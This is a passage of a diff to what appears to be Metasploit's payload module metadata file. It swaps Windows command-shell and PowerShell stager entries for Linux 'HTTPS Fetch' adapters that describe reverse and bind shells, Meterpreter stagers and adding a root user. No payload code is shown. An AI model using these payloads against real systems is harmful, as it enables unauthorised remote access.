05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb", + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/bind_perl_ipv6", + "ref_name": "cmd/linux/https/x64/shell_bind_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x64", + "adapted_refname": "linux/x64/shell_bind_tcp", + "staged": false }, - "payload_cmd/windows/bind_ruby": { - "name": "Windows Command Shell, Bind TCP (via Ruby)", - "fullname": "payload/cmd/windows/bind_ruby", + "payload_cmd/linux/https/x64/shell_bind_tcp_random_port": { + "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Random Port Inline", + "fullname": "payload/cmd/linux/https/x64/shell_bind_tcp_random_port", "aliases": [ ], @@ -179076,33 +181044,38 @@ "disclosure_date": null, "type": "payload", "author": [ - "kris katterjohn " + "Brendan Watters", + "Geyslan G. Bem " ], - "description": "Continually listen for a connection and spawn a command shell via Ruby", + "description": "Fetch and execute an x64 payload from an HTTPS server.\n\n Listen for a connection in a random port and spawn a command shell.\n Use nmap to discover the open port: 'nmap -sS target -p-'.", "references": [ ], - "platform": "Windows", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/windows/bind_ruby.rb", + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/bind_ruby", + "ref_name": "cmd/linux/https/x64/shell_bind_tcp_random_port", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x64", + "adapted_refname": "linux/x64/shell_bind_tcp_random_port", + "staged": false }, - "payload_cmd/windows/download_eval_vbs": { - "name": "Windows Executable Download and Evaluate VBS", - "fullname": "payload/cmd/windows/download_eval_vbs", + "payload_cmd/linux/https/x64/shell_find_port": { + "name": "HTTPS Fetch, Linux Command Shell, Find Port Inline", + "fullname": "payload/cmd/linux/https/x64/shell_find_port", "aliases": [ ], @@ -179110,33 +181083,38 @@ "disclosure_date": null, "type": "payload", "author": [ - "scriptjunkie" + "Brendan Watters", + "mak" ], - "description": "Downloads a file from an HTTP(S) URL and executes it as a vbs script.\n Use it to stage a vbs encoded payload from a short command line.", + "description": "Fetch and execute an x64 payload from an HTTPS server.\nSpawn a shell on an established connection", "references": [ ], - "platform": "Windows", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/singles/cmd/windows/download_eval_vbs.rb", + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/download_eval_vbs", + "ref_name": "cmd/linux/https/x64/shell_find_port", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x64", + "adapted_refname": "linux/x64/shell_find_port", + "staged": false }, - "payload_cmd/windows/download_exec_vbs": { - "name": "Windows Executable Download and Execute (via .vbs)", - "fullname": "payload/cmd/windows/download_exec_vbs", + "payload_cmd/linux/https/x64/shell_reverse_ipv6_tcp": { + "name": "HTTPS Fetch, Linux x64 Command Shell, Reverse TCP Inline (IPv6)", + "fullname": "payload/cmd/linux/https/x64/shell_reverse_ipv6_tcp", "aliases": [ ], @@ -179144,33 +181122,38 @@ "disclosure_date": null, "type": "payload", "author": [ - "scriptjunkie" + "Brendan Watters", + "epi " ], - "description": "Download an EXE from an HTTP(S) URL and execute it", + "description": "Fetch and execute an x64 payload from an HTTPS server.\nConnect back to attacker and spawn a command shell over IPv6", "references": [ ], - "platform": "Windows", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/singles/cmd/windows/download_exec_vbs.rb", + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/download_exec_vbs", + "ref_name": "cmd/linux/https/x64/shell_reverse_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x64", + "adapted_refname": "linux/x64/shell_reverse_ipv6_tcp", + "staged": false }, - "payload_cmd/windows/generic": { - "name": "Windows Command, Generic Command Execution", - "fullname": "payload/cmd/windows/generic", + "payload_cmd/linux/https/x64/shell_reverse_tcp": { + "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Inline", + "fullname": "payload/cmd/linux/https/x64/shell_reverse_tcp", "aliases": [ ], @@ -179178,33 +181161,38 @@ "disclosure_date": null, "type": "payload", "author": [ - "juan vazquez " + "Brendan Watters", + "ricky" ], - "description": "Executes the supplied command", + "description": "Fetch and execute an x64 payload from an HTTPS server.\nConnect back to attacker and spawn a command shell", "references": [ ], - "platform": "Windows", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/singles/cmd/windows/generic.rb", + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/generic", + "ref_name": "cmd/linux/https/x64/shell_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x64", + "adapted_refname": "linux/x64/shell_reverse_tcp", + "staged": false }, - "payload_cmd/windows/jjs_reverse_tcp": { - "name": "Windows Shell, Reverse TCP (via jjs)", - "fullname": "payload/cmd/windows/jjs_reverse_tcp", + "payload_cmd/linux/https/x86/adduser": { + "name": "HTTPS Fetch, Linux Add User", + "fullname": "payload/cmd/linux/https/x86/adduser", "aliases": [ ], @@ -179212,36 +181200,41 @@ "disclosure_date": null, "type": "payload", "author": [ - "conerpirate", - "bcoles " + "Brendan Watters", + "Spencer McIntyre", + "skape ", + "vlad902 ", + "spoonm " ], - "description": "Connect back and create a command shell via jjs", + "description": "Fetch and execute an x86 payload from an HTTPS server.\nCreate a new user with UID 0", "references": [ - "URL-https://gtfobins.github.io/gtfobins/jjs/", - "URL-https://cornerpirate.com/2018/08/17/java-gives-a-shell-for-everything/", - "URL-https://h4wkst3r.blogspot.com/2018/05/code-execution-with-jdk-scripting-tools.html" + ], - "platform": "Windows", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/windows/jjs_reverse_tcp.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", "is_install_path": true, - "ref_name": "cmd/windows/jjs_reverse_tcp", + "ref_name": "cmd/linux/https/x86/adduser", "check": false, - "post_auth": false, + "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/adduser", + "staged": false }, - "payload_cmd/windows/powershell/adduser": { - "name": "Powershell Exec", - "fullname": "payload/cmd/windows/powershell/adduser", + "payload_cmd/linux/https/x86/chmod": { + "name": "HTTPS Fetch, Linux Chmod", + "fullname": "payload/cmd/linux/https/x86/chmod", "aliases": [ ], @@ -179249,37 +181242,39 @@ "disclosure_date": null, "type": "payload", "author": [ + "Brendan Watters", "Spencer McIntyre", - "hdm ", - "Chris John Riley", - "vlad902 ", - "sf " + "kris katterjohn " ], - "description": "Execute an x86 payload from a command via PowerShell", + "description": "Fetch and execute an x86 payload from an HTTPS server.\nRuns chmod on specified file with specified mode", "references": [ ], - "platform": "Windows", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/adduser", + "ref_name": "cmd/linux/https/x86/chmod", "check": false, - "post_auth": true, + "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/chmod", + "staged": false }, - "payload_cmd/windows/powershell/custom/bind_hidden_ipknock_tcp": { - "name": "Powershell Exec, Windows shellcode stage, Hidden Bind Ipknock TCP Stager", - "fullname": "payload/cmd/windows/powershell/custom/bind_hidden_ipknock_tcp", + "payload_cmd/linux/https/x86/exec": { + "name": "HTTPS Fetch, Linux Execute Command", + "fullname": "payload/cmd/linux/https/x86/exec", "aliases": [ ], @@ -179287,38 +181282,41 @@ "disclosure_date": null, "type": "payload", "author": [ + "Brendan Watters", "Spencer McIntyre", - "bwatters-r7", - "hdm ", - "skape ", - "sf ", - "Borja Merino " + "vlad902 ", + "Geyslan G. Bem " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a connection. First, the port will need to be knocked from\nthe IP defined in KHOST. This IP will work as an authentication method\n(you can spoof it with tools like hping). After that you could get your\nshellcode from any IP. The socket will appear as \"closed,\" thus helping to\nhide the shellcode", + "description": "Fetch and execute an x86 payload from an HTTPS server.\nExecute an arbitrary command or just a /bin/sh shell", "references": [ - + "URL-https://github.com/geyslan/SLAE/blob/master/4th.assignment/tiny_execve_sh.asm", + "URL-https://github.com/geyslan/SLAE/blob/master/improvements/x86_execve_dyn.asm" ], - "platform": "Windows", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/bind_hidden_ipknock_tcp", + "ref_name": "cmd/linux/https/x86/exec", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/exec", + "staged": false }, - "payload_cmd/windows/powershell/custom/bind_hidden_tcp": { - "name": "Powershell Exec, Windows shellcode stage, Hidden Bind TCP Stager", - "fullname": "payload/cmd/windows/powershell/custom/bind_hidden_tcp", + "payload_cmd/linux/https/x86/generic/debug_trap": { + "name": "HTTPS Fetch, Generic x86 Debug Trap", + "fullname": "payload/cmd/linux/https/x86/generic/debug_trap", "aliases": [ ], @@ -179326,38 +181324,39 @@ "disclosure_date": null, "type": "payload", "author": [ + "Brendan Watters", "Spencer McIntyre", - "bwatters-r7", - "hdm ", - "skape ", - "sf ", - "Borja Merino " + "robert " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a connection from a hidden port and spawn a command shell to the allowed host.", + "description": "Fetch and execute an x86 payload from an HTTPS server.\nGenerate a debug trap in the target process", "references": [ ], - "platform": "Windows", + "platform": "BSD,BSDi,Linux,OSX,Solaris,Windows", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/bind_hidden_tcp", + "ref_name": "cmd/linux/https/x86/generic/debug_trap", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "generic/debug_trap", + "staged": false }, - "payload_cmd/windows/powershell/custom/bind_ipv6_tcp": { - "name": "Powershell Exec, Windows shellcode stage, Bind IPv6 TCP Stager (Windows x86)", - "fullname": "payload/cmd/windows/powershell/custom/bind_ipv6_tcp", + "payload_cmd/linux/https/x86/generic/tight_loop": { + "name": "HTTPS Fetch, Generic x86 Tight Loop", + "fullname": "payload/cmd/linux/https/x86/generic/tight_loop", "aliases": [ ], @@ -179365,37 +181364,39 @@ "disclosure_date": null, "type": "payload", "author": [ + "Brendan Watters", "Spencer McIntyre", - "bwatters-r7", - "hdm ", - "skape ", - "sf " + "jduck " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for an IPv6 connection (Windows x86)", + "description": "Fetch and execute an x86 payload from an HTTPS server.\nGenerate a tight loop in the target process", "references": [ ], - "platform": "Windows", + "platform": "BSD,BSDi,Linux,OSX,Solaris,Windows", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/bind_ipv6_tcp", + "ref_name": "cmd/linux/https/x86/generic/tight_loop", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "generic/tight_loop", + "staged": false }, - "payload_cmd/windows/powershell/custom/bind_ipv6_tcp_uuid": { - "name": "Powershell Exec, Windows shellcode stage, Bind IPv6 TCP Stager with UUID Support (Windows x86)", - "fullname": "payload/cmd/windows/powershell/custom/bind_ipv6_tcp_uuid", + "payload_cmd/linux/https/x86/meterpreter/bind_ipv6_tcp": { + "name": "HTTPS Fetch, Bind IPv6 TCP Stager (Linux x86)", + "fullname": "payload/cmd/linux/https/x86/meterpreter/bind_ipv6_tcp", "aliases": [ ], @@ -179403,38 +181404,43 @@ "disclosure_date": null, "type": "payload", "author": [ + "Brendan Watters", "Spencer McIntyre", - "bwatters-r7", - "hdm ", - "skape ", - "sf ", - "OJ Reeves" + "William Webb ", + "kris katterjohn ", + "egypt " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for an IPv6 connection with UUID Support (Windows x86)", + "description": "Fetch and execute an x86 payload from an HTTPS server.\nListen for an IPv6 connection (Linux x86)", "references": [ ], - "platform": "Windows", + "platform": "Linux,Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/bind_ipv6_tcp_uuid", + "ref_name": "cmd/linux/https/x86/meterpreter/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/meterpreter/bind_ipv6_tcp", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/bind_ipv6_tcp" }, - "payload_cmd/windows/powershell/custom/bind_named_pipe": { - "name": "Powershell Exec, Windows shellcode stage, Windows x86 Bind Named Pipe Stager", - "fullname": "payload/cmd/windows/powershell/custom/bind_named_pipe", + "payload_cmd/linux/https/x86/meterpreter/bind_ipv6_tcp_uuid": { + "name": "HTTPS Fetch, Bind IPv6 TCP Stager with UUID Support (Linux x86)", + "fullname": "payload/cmd/linux/https/x86/meterpreter/bind_ipv6_tcp_uuid", "aliases": [ ], @@ -179442,35 +181448,44 @@ "disclosure_date": null, "type": "payload", "author": [ + "Brendan Watters", "Spencer McIntyre", - "bwatters-r7", - "UserExistsError" + "William Webb ", + "kris katterjohn ", + "egypt ", + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a pipe connection (Windows x86)", + "description": "Fetch and execute an x86 payload from an HTTPS server.\nListen for an IPv6 connection with UUID Support (Linux x86)", "references": [ ], - "platform": "Windows", + "platform": "Linux,Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/bind_named_pipe", + "ref_name": "cmd/linux/https/x86/meterpreter/bind_ipv6_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/meterpreter/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/bind_ipv6_tcp_uuid" }, - "payload_cmd/windows/powershell/custom/bind_nonx_tcp": { - "name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager (No NX or Win7)", - "fullname": "payload/cmd/windows/powershell/custom/bind_nonx_tcp", + "payload_cmd/linux/https/x86/meterpreter/bind_nonx_tcp": { + "name": "HTTPS Fetch, Bind TCP Stager", + "fullname": "payload/cmd/linux/https/x86/meterpreter/bind_nonx_tcp", "aliases": [ ], @@ -179478,35 +181493,42 @@ "disclosure_date": null, "type": "payload", "author": [ + "Brendan Watters", "Spencer McIntyre", - "bwatters-r7", - "vlad902 " + "William Webb ", + "skape " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a connection (No NX)", + "description": "Fetch and execute an x86 payload from an HTTPS server.\nListen for a connection", "references": [ ], - "platform": "Windows", + "platform": "Linux,Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/bind_nonx_tcp", + "ref_name": "cmd/linux/https/x86/meterpreter/bind_nonx_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/meterpreter/bind_nonx_tcp", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/bind_nonx_tcp" }, - "payload_cmd/windows/powershell/custom/bind_tcp": { - "name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager (Windows x86)", - "fullname": "payload/cmd/windows/powershell/custom/bind_tcp", + "payload_cmd/linux/https/x86/meterpreter/bind_tcp": { + "name": "HTTPS Fetch, Bind TCP Stager (Linux x86)", + "fullname": "payload/cmd/linux/https/x86/meterpreter/bind_tcp", "aliases": [ ], @@ -179514,37 +181536,43 @@ "disclosure_date": null, "type": "payload", "author": [ + "Brendan Watters", "Spencer McIntyre", - "bwatters-r7", - "hdm ", + "William Webb ", "skape ", - "sf " + "egypt " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a connection (Windows x86)", + "description": "Fetch and execute an x86 payload from an HTTPS server.\nListen for a connection (Linux x86)", "references": [ ], - "platform": "Windows", + "platform": "Linux,Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/bind_tcp", + "ref_name": "cmd/linux/https/x86/meterpreter/bind_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/meterpreter/bind_tcp", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/bind_tcp" }, - "payload_cmd/windows/powershell/custom/bind_tcp_rc4": { - "name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/powershell/custom/bind_tcp_rc4", + "payload_cmd/linux/https/x86/meterpreter/bind_tcp_uuid": { + "name": "HTTPS Fetch, Bind TCP Stager with UUID Support (Linux x86)", + "fullname": "payload/cmd/linux/https/x86/meterpreter/bind_tcp_uuid", "aliases": [ ], @@ -179552,39 +181580,44 @@ "disclosure_date": null, "type": "payload", "author": [ + "Brendan Watters", "Spencer McIntyre", - "bwatters-r7", - "hdm ", + "William Webb ", "skape ", - "sf ", - "mihi", - "RageLtMan" + "egypt ", + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a connection", + "description": "Fetch and execute an x86 payload from an HTTPS server.\nListen for a connection with UUID Support (Linux x86)", "references": [ ], - "platform": "Windows", + "platform": "Linux,Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/bind_tcp_rc4", + "ref_name": "cmd/linux/https/x86/meterpreter/bind_tcp_uuid", "check": false, - "post_auth": true, + "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/meterpreter/bind_tcp_uuid", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/bind_tcp_uuid" }, - "payload_cmd/windows/powershell/custom/bind_tcp_uuid": { - "name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x86)", - "fullname": "payload/cmd/windows/powershell/custom/bind_tcp_uuid", + "payload_cmd/linux/https/x86/meterpreter/find_tag": { + "name": "HTTPS Fetch, Find Tag Stager", + "fullname": "payload/cmd/linux/https/x86/meterpreter/find_tag", "aliases": [ ], @@ -179592,36 +181625,42 @@ "disclosure_date": null, "type": "payload", "author": [ + "Brendan Watters", "Spencer McIntyre", - "bwatters-r7", - "hdm ", - "OJ Reeves" + "William Webb ", + "skape " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a connection with UUID Support (Windows x86)", + "description": "Fetch and execute an x86 payload from an HTTPS server.\nUse an established connection", "references": [ ], - "platform": "Windows", + "platform": "Linux,Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/bind_tcp_uuid", + "ref_name": "cmd/linux/https/x86/meterpreter/find_tag", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/meterpreter/find_tag", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/find_tag" }, - "payload_cmd/windows/powershell/custom/find_tag": { - "name": "Powershell Exec, Windows shellcode stage, Find Tag Ordinal Stager", - "fullname": "payload/cmd/windows/powershell/custom/find_tag", + "payload_cmd/linux/https/x86/meterpreter/reverse_ipv6_tcp": { + "name": "HTTPS Fetch, Reverse TCP Stager (IPv6)", + "fullname": "payload/cmd/linux/https/x86/meterpreter/reverse_ipv6_tcp", "aliases": [ ], @@ -179629,35 +181668,42 @@ "disclosure_date": null, "type": "payload", "author": [ + "Brendan Watters", "Spencer McIntyre", - "bwatters-r7", - "skape " + "William Webb ", + "kris katterjohn " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nUse an established connection", + "description": "Fetch and execute an x86 payload from an HTTPS server.\nConnect back to attacker over IPv6", "references": [ ], - "platform": "Windows", + "platform": "Linux,Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/find_tag", + "ref_name": "cmd/linux/https/x86/meterpreter/reverse_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/meterpreter/reverse_ipv6_tcp", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/reverse_ipv6_tcp" }, - "payload_cmd/windows/powershell/custom/reverse_hop_http": { - "name": "Powershell Exec, Windows shellcode stage, Reverse Hop HTTP/HTTPS Stager", - "fullname": "payload/cmd/windows/powershell/custom/reverse_hop_http", + "payload_cmd/linux/https/x86/meterpreter/reverse_nonx_tcp": { + "name": "HTTPS Fetch, Reverse TCP Stager", + "fullname": "payload/cmd/linux/https/x86/meterpreter/reverse_nonx_tcp", "aliases": [ ], @@ -179665,37 +181711,42 @@ "disclosure_date": null, "type": "payload", "author": [ + "Brendan Watters", "Spencer McIntyre", - "bwatters-r7", - "scriptjunkie ", - "bannedit ", - "hdm " + "William Webb ", + "skape " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over an HTTP or HTTPS hop point. Note that you must first upload\ndata/hop/hop.php to the PHP server you wish to use as a hop.", + "description": "Fetch and execute an x86 payload from an HTTPS server.\nConnect back to the attacker", "references": [ ], - "platform": "Windows", + "platform": "Linux,Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/reverse_hop_http", + "ref_name": "cmd/linux/https/x86/meterpreter/reverse_nonx_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/meterpreter/reverse_nonx_tcp", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/reverse_nonx_tcp" }, - "payload_cmd/windows/powershell/custom/reverse_http": { - "name": "Powershell Exec, Windows shellcode stage, Windows Reverse HTTP Stager (wininet)", - "fullname": "payload/cmd/windows/powershell/custom/reverse_http", + "payload_cmd/linux/https/x86/meterpreter/reverse_tcp": { + "name": "HTTPS Fetch, Reverse TCP Stager", + "fullname": "payload/cmd/linux/https/x86/meterpreter/reverse_tcp", "aliases": [ ], @@ -179703,35 +181754,44 @@ "disclosure_date": null, "type": "payload", "author": [ + "Brendan Watters", "Spencer McIntyre", - "bwatters-r7", - "hdm " + "William Webb ", + "skape ", + "egypt ", + "tkmru" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows wininet)", + "description": "Fetch and execute an x86 payload from an HTTPS server.\nConnect back to the attacker", "references": [ ], - "platform": "Windows", + "platform": "Linux,Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/reverse_http", + "ref_name": "cmd/linux/https/x86/meterpreter/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + 